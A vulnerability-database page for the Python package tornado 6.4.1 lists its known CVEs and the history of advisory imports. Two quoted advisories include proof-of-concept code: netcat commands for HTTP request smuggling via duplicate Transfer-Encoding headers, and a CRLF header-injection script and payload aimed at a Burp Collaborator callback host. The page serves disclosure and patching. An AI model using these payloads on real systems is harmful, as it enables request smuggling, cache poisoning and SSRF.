Search for packages
Package details: pkg:pypi/tornado@6.4.1
purl pkg:pypi/tornado@6.4.1
Next non-vulnerable version 6.5
Latest non-vulnerable version 6.5
Risk 4.0
Vulnerabilities affecting this package (2)
Vulnerability Summary Fixed by
VCID-1ucn-3yzf-73c1
Aliases:
CVE-2024-52804
GHSA-8w49-h785-mj3c
Tornado has an HTTP cookie parsing DoS vulnerability
6.4.2
Affected by 1 other vulnerability.
VCID-hmev-s7nv-wub2
Aliases:
CVE-2025-47287
GHSA-7cx3-6m66-7c5m
Tornado is a Python web framework and asynchronous networking library. When Tornado's ``multipart/form-data`` parser encounters certain errors, it logs a warning but continues trying to parse the remainder of the data. This allows remote attackers to generate an extremely high volume of logs, constituting a DoS attack. This DoS is compounded by the fact that the logging subsystem is synchronous. All versions of Tornado prior to 6.5.0 are affected. The vulnerable parser is enabled by default. Upgrade to Tornado version 6.50 to receive a patch. As a workaround, risk can be mitigated by blocking `Content-Type: multipart/form-data` in a proxy.
6.5.0
Affected by 0 other vulnerabilities.
6.5
Affected by 0 other vulnerabilities.
Vulnerabilities fixed by this package (2)
Vulnerability Summary Aliases
VCID-c5mu-8egy-aaae Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') in tornado ### Summary When Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this. ### PoC 0. Install Tornado. 1. Start a simple Tornado server that echoes each received request's body: ```bash cat << EOF > server.py import asyncio import tornado class MainHandler(tornado.web.RequestHandler): def post(self): self.write(self.request.body) async def main(): tornado.web.Application([(r"/", MainHandler)]).listen(8000) await asyncio.Event().wait() asyncio.run(main()) EOF python3 server.py & ``` 2. Send a valid chunked request: ```bash printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 3. Observe that the response is as expected: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:32:05 GMT Content-Length: 1 Z ``` 4. Send a request with two `Transfer-Encoding: chunked` headers: ``` printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\r\n' | nc localhost 8000 ``` 5. Observe the strange response: ``` HTTP/1.1 200 OK Server: TornadoServer/6.3.3 Content-Type: text/html; charset=UTF-8 Date: Sat, 07 Oct 2023 17:35:40 GMT Content-Length: 0 HTTP/1.1 400 Bad Request ``` This is because Tornado believes that the request has no message body, so it tries to interpret `1\r\nZ\r\n0\r\n\r\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure. ### Impact Anyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization. GHSA-753j-mpmx-qq6g
VCID-f65m-gd26-aaas Tornado has a CRLF injection in CurlAsyncHTTPClient headers ### Summary Tornado’s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers. ### Details When an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server. This behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters. This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl’s documentation states: > The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters. pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics. ### PoC The issue can be reproduced using the following script: ```python import asyncio from tornado import httpclient from tornado import curl_httpclient async def main(): http_client = curl_httpclient.CurlAsyncHTTPClient() request = httpclient.HTTPRequest( # Burp Collaborator payload "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/", method="POST", body="body", # Injected header using CRLF characters headers={"Foo": "Bar\r\nHeader: Injected"} ) response = await http_client.fetch(request) print(response.body) http_client.close() if __name__ == "__main__": asyncio.run(main()) ``` When the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line: ```http POST / HTTP/1.1 Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com User-Agent: Mozilla/5.0 (compatible; pycurl) Accept: */* Accept-Encoding: gzip,deflate Foo: Bar Header: Injected Content-Length: 4 Content-Type: application/x-www-form-urlencoded body ``` The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request: ```http POST /attacker-controlled-url HTTP/1.1 Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com Content-Length: 4 Content-Type: application/x-www-form-urlencoded body ``` ### Impact Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities. GHSA-w235-7p84-xx57

Date Actor Action Vulnerability Source VulnerableCode Version
2025-06-20T17:21:36.475559+00:00 GitLab Importer Affected by VCID-hmev-s7nv-wub2 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/CVE-2025-47287.yml 36.1.3
2025-06-20T17:12:48.762782+00:00 GitLab Importer Affected by VCID-1ucn-3yzf-73c1 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/CVE-2024-52804.yml 36.1.3
2025-06-16T23:50:30.292001+00:00 GitLab Importer Affected by VCID-hmev-s7nv-wub2 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/CVE-2025-47287.yml 36.1.0
2025-06-03T23:48:27.272078+00:00 GitLab Importer Affected by VCID-1ucn-3yzf-73c1 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/CVE-2024-52804.yml 36.1.0
2025-06-02T23:47:07.908840+00:00 GitLab Importer Affected by VCID-1ucn-3yzf-73c1 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/CVE-2024-52804.yml 36.1.2
2025-04-03T22:34:22.752663+00:00 GitLab Importer Affected by VCID-1ucn-3yzf-73c1 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/CVE-2024-52804.yml 36.0.0
2025-02-18T04:15:20.105397+00:00 GitLab Importer Affected by VCID-1ucn-3yzf-73c1 https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/CVE-2024-52804.yml 35.1.0
2024-11-23T04:59:02.429194+00:00 GHSA Importer Affected by VCID-1ucn-3yzf-73c1 https://github.com/advisories/GHSA-8w49-h785-mj3c 35.0.0
2024-10-15T18:00:01.320472+00:00 GithubOSV Importer Fixing VCID-f65m-gd26-aaas https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-w235-7p84-xx57/GHSA-w235-7p84-xx57.json 34.0.2
2024-10-15T17:58:20.413965+00:00 GithubOSV Importer Fixing VCID-c5mu-8egy-aaae https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-753j-mpmx-qq6g/GHSA-753j-mpmx-qq6g.json 34.0.2
2024-10-07T16:30:41.988033+00:00 GHSA Importer Fixing VCID-f65m-gd26-aaas https://github.com/advisories/GHSA-w235-7p84-xx57 34.0.2
2024-10-07T16:08:33.650019+00:00 GHSA Importer Fixing VCID-c5mu-8egy-aaae https://github.com/advisories/GHSA-753j-mpmx-qq6g 34.0.2
2024-09-18T09:19:27.891140+00:00 GithubOSV Importer Fixing VCID-f65m-gd26-aaas https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-w235-7p84-xx57/GHSA-w235-7p84-xx57.json 34.0.1
2024-09-18T09:19:19.681978+00:00 GithubOSV Importer Fixing VCID-c5mu-8egy-aaae https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-753j-mpmx-qq6g/GHSA-753j-mpmx-qq6g.json 34.0.1
2024-09-17T22:28:18.493210+00:00 GitLab Importer Fixing VCID-f65m-gd26-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/GHSA-w235-7p84-xx57.yml 34.0.1
2024-09-17T22:28:18.466182+00:00 GitLab Importer Fixing VCID-c5mu-8egy-aaae https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/GHSA-753j-mpmx-qq6g.yml 34.0.1
2024-09-17T22:12:40.601738+00:00 GHSA Importer Fixing VCID-c5mu-8egy-aaae https://github.com/advisories/GHSA-753j-mpmx-qq6g 34.0.1
2024-09-17T22:12:40.577123+00:00 GHSA Importer Fixing VCID-f65m-gd26-aaas https://github.com/advisories/GHSA-w235-7p84-xx57 34.0.1
2024-07-06T15:32:45.028756+00:00 GitLab Importer Fixing VCID-f65m-gd26-aaas https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/GHSA-w235-7p84-xx57.yml 34.0.0rc4
2024-07-06T15:32:45.001805+00:00 GitLab Importer Fixing VCID-c5mu-8egy-aaae https://gitlab.com/gitlab-org/advisories-community/-/blob/main/pypi/tornado/GHSA-753j-mpmx-qq6g.yml 34.0.0rc4
2024-06-07T01:09:30.055220+00:00 GHSA Importer Fixing VCID-c5mu-8egy-aaae https://github.com/advisories/GHSA-753j-mpmx-qq6g 34.0.0rc4
2024-06-07T01:09:30.030075+00:00 GHSA Importer Fixing VCID-f65m-gd26-aaas https://github.com/advisories/GHSA-w235-7p84-xx57 34.0.0rc4
2024-06-07T00:39:24.745830+00:00 GithubOSV Importer Fixing VCID-f65m-gd26-aaas https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-w235-7p84-xx57/GHSA-w235-7p84-xx57.json 34.0.0rc4
2024-06-07T00:39:23.983733+00:00 GithubOSV Importer Fixing VCID-c5mu-8egy-aaae https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/06/GHSA-753j-mpmx-qq6g/GHSA-753j-mpmx-qq6g.json 34.0.0rc4